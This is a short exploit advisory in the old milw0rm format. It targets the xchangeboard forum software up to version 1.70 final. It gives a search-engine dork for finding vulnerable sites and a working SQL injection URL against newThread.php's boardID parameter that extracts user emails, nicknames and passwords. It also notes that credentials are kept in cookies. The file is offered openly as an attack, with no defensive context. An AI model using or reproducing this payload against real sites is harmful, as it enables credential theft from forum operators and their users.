33 lines
No EOL
676 B
Text
33 lines
No EOL
676 B
Text
######################
|
|
#
|
|
# xchangeboard 1.70 final and lower
|
|
#
|
|
#
|
|
######################
|
|
#
|
|
#Bug by: haZl0oh #
|
|
#Dork: "Powered by xchangeboard"
|
|
#info:you have to be an registered user to use it like this !!!!
|
|
#there should be a lot more vulns there ;)
|
|
#
|
|
#
|
|
#
|
|
# credentials like passwords are saved as cookies .... :D
|
|
##
|
|
###
|
|
##
|
|
#
|
|
#PoC:
|
|
#http://site.com/path/newThread.php?boardID=+999999%20union%20select%20email,concat_ws(0x3a,nick,substring(password,1,100)),email,email,email%20from%20user/*
|
|
#
|
|
# #
|
|
#
|
|
#
|
|
#######################
|
|
#
|
|
#Greetz to h0yt3r ,everiZzel & Mastermaefju
|
|
#
|
|
#######################
|
|
#######################
|
|
|
|
# milw0rm.com [2008-07-02] |